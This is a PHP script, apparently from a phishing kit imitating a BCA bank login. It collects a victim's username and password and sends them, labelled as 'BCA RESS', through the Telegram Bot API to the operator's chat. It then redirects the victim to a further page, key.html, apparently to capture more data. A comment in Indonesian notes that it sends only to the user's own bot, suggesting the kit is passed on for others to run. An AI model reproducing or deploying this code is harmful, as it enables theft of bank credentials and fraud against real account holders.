<?php
session_start();

include "../telegram.php";
$user = $_POST['user'];
$pass = $_POST['pass'];

$_SESSION['user'] = $user;
$_SESSION['pass'] = $pass;

$message = "
━─━────༺BCA RESS༻────━─━
( BCA | DATA | RESS )
━─━────༺DATA RESS༻────━─━

- Username : ".$user."
- Password : ".$pass."

━─━────༺THANKS YOU༻────━─━";

function sendMessage($id_telegram, $message, $id_botTele) {
    $url = "https://api.telegram.org/bot" . $id_botTele . "/sendMessage?parse_mode=markdown&chat_id=" . $id_telegram;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true);
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}

// Hanya mengirim ke satu bot (milik Anda)
sendMessage($id_telegram, $message, $id_botTele);

header('Location: ../key.html');
?>
